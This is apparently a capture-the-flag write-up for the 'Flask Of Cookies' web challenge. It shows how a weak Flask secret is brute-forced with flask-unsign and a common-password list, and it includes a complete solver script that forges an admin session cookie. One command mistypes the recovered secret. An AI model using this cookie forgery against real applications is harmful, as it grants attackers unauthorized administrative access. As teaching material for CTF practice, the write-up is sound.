Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebMedium

Flask Of Cookies

CTF writeup for Flask Of Cookies from Backdoor

//flask_of_cookies

//Flask of Cookies Writeup

>TL;DR

A Flask app signs user sessions with a predictable secret key. If we set session["role"] = "admin" and session["user"] = SECRET_KEY[::-1], the backend treats us as superadmin and reveals the flag. Locally we already knew the secret (<fake_secret_key>). Remotely we brute-forced the secret (qwertyuiop) using flask-unsign plus a 10k common-password list, forged the cookie, and grabbed flag{y0u_l34rn3ed_flask_uns1gn_c0ok1e}.


>Environment Prep

  1. Unzipped the challenge bundle and installed deps:
bash
cd cookie
pip install -r requirements.txt
  1. Started the local server per instructions (backgrounded via nohup):
bash
nohup python3 [app.py](http://app.py/) >> server.log 2>&1 &

>Local Recon & Vulnerability

  • app.py auto-populates session["user"] = "guest" / session["role"] = "user" on /.
  • /admin calls derived_level(session, secret_key) which only returns "superadmin" when both:
  • role == "admin"
  • user == secret_key[::-1]
  • Flask signs sessions with SECRET_KEY (<fake_secret_key> locally). Therefore anyone who knows the key can forge a session and satisfy the check.

>Local Exploit

  1. Built a helper script (solve_local.py, shown below) that:
  • Instantiates a minimal Flask app with the known secret_key.
  • Uses Flask's serializer to dump a crafted session {"user": secret[::-1], "role": "admin"}.
  • Sends the cookie back to /admin.
  1. Ran it against localhost:
bash
python3 solve_local.py --target [http://127.0.0.1:8000](http://127.0.0.1:8000/) --secret "<fake_secret_key>"
  1. Response contained the local placeholder flag flag{fake_flag_here} confirming the exploit path.

>Remote Exploit

  1. Grabbed the remote session cookie via curl -I to feed into flask-unsign:
bash
curl -I [http://104.198.24.52:6011/](http://104.198.24.52:6011/)
  1. Downloaded a manageable SecLists wordlist and brute-forced the secret (note the need for -no-literal-eval when the wordlist contains numeric-only entries):
bash
curl -L -o 10k.txt \

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt

flask-unsign --unsign --cookie "eyJyb2xlIjoidXNlciIsInVzZXIiOiJndWVzdCJ9.aTQngQ.qMib2rI2sVG0Bvkil2p6nXPHw7I" \

- -wordlist 10k.txt --no-literal-eval

# [+] Found secret key ... b'qwertyuiop'
  1. Reused the solver script with the recovered secret:
bash
python3 solve_local.py --target [http://104.198.24.52:6011](http://104.198.24.52:6011/) --secret qwertyuio
  1. /admin returned the real flag:
bash
flag{y0u_l34rn3ed_flask_uns1gn_c0ok1e}

>Solver Script (solve_local.py)

python

import argparse

import os

import requests

from flask import Flask

def build_cookie(secret_key: str) -> str:

    """Generate a signed Flask session that promotes us to admin."""

    app = Flask(__name__)

    app.secret_key = secret_key

    serializer = app.session_interface.get_signing_serializer(app)

    payload = {"user": secret_key[::-1], "role": "admin"}

    return serializer.dumps(payload)

def main() -> None:

    parser = argparse.ArgumentParser(description="Forge Flask session for admin access")

    parser.add_argument(

        "--target",

        default="<http://127.0.0.1:8000>",

        help="Base URL of the challenge instance (default: %(default)s)",

    )

    parser.add_argument(

        "--secret",

        default=os.environ.get("SECRET_KEY", "<fake_secret_key>"),

        help="Secret key used by the Flask app (defaults to SECRET_KEY env or known value)",

    )

    parser.add_argument(

        "--no-request",

        action="store_true",

        help="Only print the forged cookie without sending a request",

    )

    args = parser.parse_args()

    session_cookie = build_cookie(args.secret)

    print(f"Crafted session cookie: {session_cookie}")

    if args.no_request:

        return

    response = requests.get(f"{args.target}/admin", cookies={"session": session_cookie}, timeout=10)

    print(f"Status: {response.status_code}")

    print("Body:\\n" + response.text)

if __name__ == "__main__":

    main()